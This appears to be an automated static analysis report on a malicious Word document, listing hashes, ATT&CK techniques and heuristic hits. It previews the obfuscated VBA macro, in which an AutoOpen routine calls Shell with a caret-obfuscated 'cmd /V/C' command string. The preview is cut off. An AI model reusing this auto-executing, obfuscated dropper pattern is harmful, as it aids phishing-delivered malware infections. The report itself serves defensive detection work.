Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9232b2ce5ce59a6d…

MALICIOUS

Office (OLE)

84.1 KB Created: 2018-09-20 11:15:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: e9543576c0926e70e79d1570db259db8 SHA-1: 8c2be24c1f9d10f10a4be6b5fea5569f5e56babc SHA-256: 9232b2ce5ce59a6dc9cf3eb6c318fa96fd6d228db106efcbb948e4ff3565fa0b
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is a malicious Office document containing a VBA macro, indicated by multiple heuristic firings including OLE_VBA_MACROS and OLE_VBA_AUTOOPEN. The AutoOpen macro is designed to execute automatically when the document is opened. While the script is heavily obfuscated and truncated, its structure suggests it is intended to download and execute a second-stage payload, a common technique for malware delivery. The presence of the AutoOpen macro and the nature of the script strongly suggest it is delivered via spearphishing.

Heuristics 5

  • ClamAV: Doc.Malware.00536d-6691967-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6691967-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14918 bytes
SHA-256: 23b159fd04d87829146c9d45c6d6450ce2c1dd412d1897a998ebde1e1feecd6f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ncriunTIQoP"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const KMBwzErjWDb = 0
   Dim QKGkrS(2)
QKGkrS(0) = Mid(pJwtDrb, 470, 330) + MidB(mlMmUt, 919, 986) + Right(qkiRB, 199) + Left(OEZlA, 194)
QKGkrS(1) = Mid(pJwtDrb, 470, 330) + Right(qkiRB, 199)
   Dim NcUjzi(2)
NcUjzi(0) = Mid(pJwtDrb, 470, 330) + Left(OEZlA, 194)
NcUjzi(1) = Left(OEZlA, 194) + Right(qkiRB, 199) + MidB(mlMmUt, 919, 986) + Mid(pJwtDrb, 470, 330)
   Dim GVCSq(2)
GVCSq(0) = Left(OEZlA, 194) + Right(qkiRB, 199) + Left(OEZlA, 194) + Mid(pJwtDrb, 470, 330)
GVCSq(1) = Left(OEZlA, 194) + Left(OEZlA, 194) + Mid(pJwtDrb, 470, 330) + Mid(pJwtDrb, 470, 330)
   Dim AGRIoa(4)
AGRIoa(0) = Right(qkiRB, 199) + MidB(mlMmUt, 919, 986) + MidB(mlMmUt, 919, 986) + Right(qkiRB, 199)
AGRIoa(1) = Left(OEZlA, 194) + Left(OEZlA, 194)
AGRIoa(2) = Right(qkiRB, 199) + MidB(mlMmUt, 919, 986) + Mid(pJwtDrb, 470, 330) + Left(OEZlA, 194)
AGRIoa(3) = Right(qkiRB, 199) + MidB(mlMmUt, 919, 986)
   Dim tjolfn(3)
tjolfn(0) = Right(qkiRB, 199) + Mid(pJwtDrb, 470, 330) + Right(qkiRB, 199) + Left(OEZlA, 194)
tjolfn(1) = Mid(pJwtDrb, 470, 330) + Mid(pJwtDrb, 470, 330) + Left(OEZlA, 194) + Right(qkiRB, 199)
tjolfn(2) = Left(OEZlA, 194) + MidB(mlMmUt, 919, 986)
   Dim DaTjGi(4)
DaTjGi(0) = MidB(mlMmUt, 919, 986) + Left(OEZlA, 194)
DaTjGi(1) = Mid(pJwtDrb, 470, 330) + Left(OEZlA, 194) + Left(OEZlA, 194) + Mid(pJwtDrb, 470, 330)
DaTjGi(2) = Mid(pJwtDrb, 470, 330) + MidB(mlMmUt, 919, 986) + Left(OEZlA, 194) + Left(OEZlA, 194)
DaTjGi(3) = MidB(mlMmUt, 919, 986) + MidB(mlMmUt, 919, 986)
   Dim EMXET(2)
EMXET(0) = Mid(pJwtDrb, 470, 330) + Mid(pJwtDrb, 470, 330)
EMXET(1) = Left(OEZlA, 194) + MidB(mlMmUt, 919, 986)
Shell@ iwNWN + GFPndUKoZBG + TfnOpMIcdIjkBw + GFQjRrwAIlKMDa, KMBwzErjWDb
   Dim MZohJp(2)
MZohJp(0) = Left(OEZlA, 194) + Right(qkiRB, 199) + Mid(pJwtDrb, 470, 330) + Right(qkiRB, 199)
MZohJp(1) = Right(qkiRB, 199) + Right(qkiRB, 199) + Left(OEZlA, 194) + Left(OEZlA, 194)
   Dim QXpInj(4)
QXpInj(0) = Mid(pJwtDrb, 470, 330) + Mid(pJwtDrb, 470, 330)
QXpInj(1) = Mid(pJwtDrb, 470, 330) + Left(OEZlA, 194) + MidB(mlMmUt, 919, 986) + MidB(mlMmUt, 919, 986)
QXpInj(2) = Mid(pJwtDrb, 470, 330) + Mid(pJwtDrb, 470, 330) + Right(qkiRB, 199) + MidB(mlMmUt, 919, 986)
QXpInj(3) = Right(qkiRB, 199) + Left(OEZlA, 194)
End Sub


Attribute VB_Name = "joAZAGcbhmF"
Function iwNWN()
Dim pMwzj(5)
pMwzj(0) = Left(OEZlA, 194) + MidB(mlMmUt, 919, 986) + MidB(mlMmUt, 919, 986) + Right(qkiRB, 199)
pMwzj(1) = Right(qkiRB, 199) + MidB(mlMmUt, 919, 986) + Left(OEZlA, 194) + Left(OEZlA, 194)
pMwzj(2) = Mid(pJwtDrb, 470, 330) + Mid(pJwtDrb, 470, 330)
pMwzj(3) = Mid(pJwtDrb, 470, 330) + MidB(mlMmUt, 919, 986)
pMwzj(4) = Left(OEZlA, 194) + Right(qkiRB, 199)
   Dim jkQLi(2)
jkQLi(0) = Right(qkiRB, 199) + Right(qkiRB, 199)
jkQLi(1) = Mid(pJwtDrb, 470, 330) + MidB(mlMmUt, 919, 986) + Right(qkiRB, 199) + MidB(mlMmUt, 919, 986)
   Dim XGFTC(4)
XGFTC(0) = MidB(mlMmUt, 919, 986) + Right(qkiRB, 199) + Right(qkiRB, 199) + MidB(mlMmUt, 919, 986)
XGFTC(1) = MidB(mlMmUt, 919, 986) + Mid(pJwtDrb, 470, 330)
XGFTC(2) = Left(OEZlA, 194) + MidB(mlMmUt, 919, 986) + Mid(pJwtDrb, 470, 330) + Left(OEZlA, 194)
XGFTC(3) = MidB(mlMmUt, 919, 986) + MidB(mlMmUt, 919, 986)
sWilwjrPZI = CStr(Chr(CleanString(9 + 10 + 18 + 0 + 62))) + "md /" + "V/" + CStr(Chr(CleanString(6 + 7 + 12 + 0 + 42))) + CStr(Chr(CleanString(2 + 3 + 5 + 0 + 24))) + "^se^t" + " D^w" + "T^F=    ^ ^ " + "^   " + " ^ ^ ^ ^ ^ "
Dim wlGRfo(3)
wlGRfo(0) = Mid(pJwtDrb, 470, 330) + Right(qkiRB, 199) + Left(OEZlA, 194) + Left(OEZlA, 194)
wlGRfo(1) = Left(OEZlA, 194) + Mid(pJwtDrb, 470, 330) + Left(OEZlA, 194) + MidB(mlMmUt, 919, 986)
wlGRfo(2) = MidB(mlMmUt, 919, 986) + Mid(pJwtDrb, 470, 330)
   Dim MBqPc(3)
MBqPc(0) = MidB(mlMmUt, 919, 986) + MidB(mlMmUt, 919, 986)
MBqPc(1) = Mid(pJwtDrb, 47
... (truncated)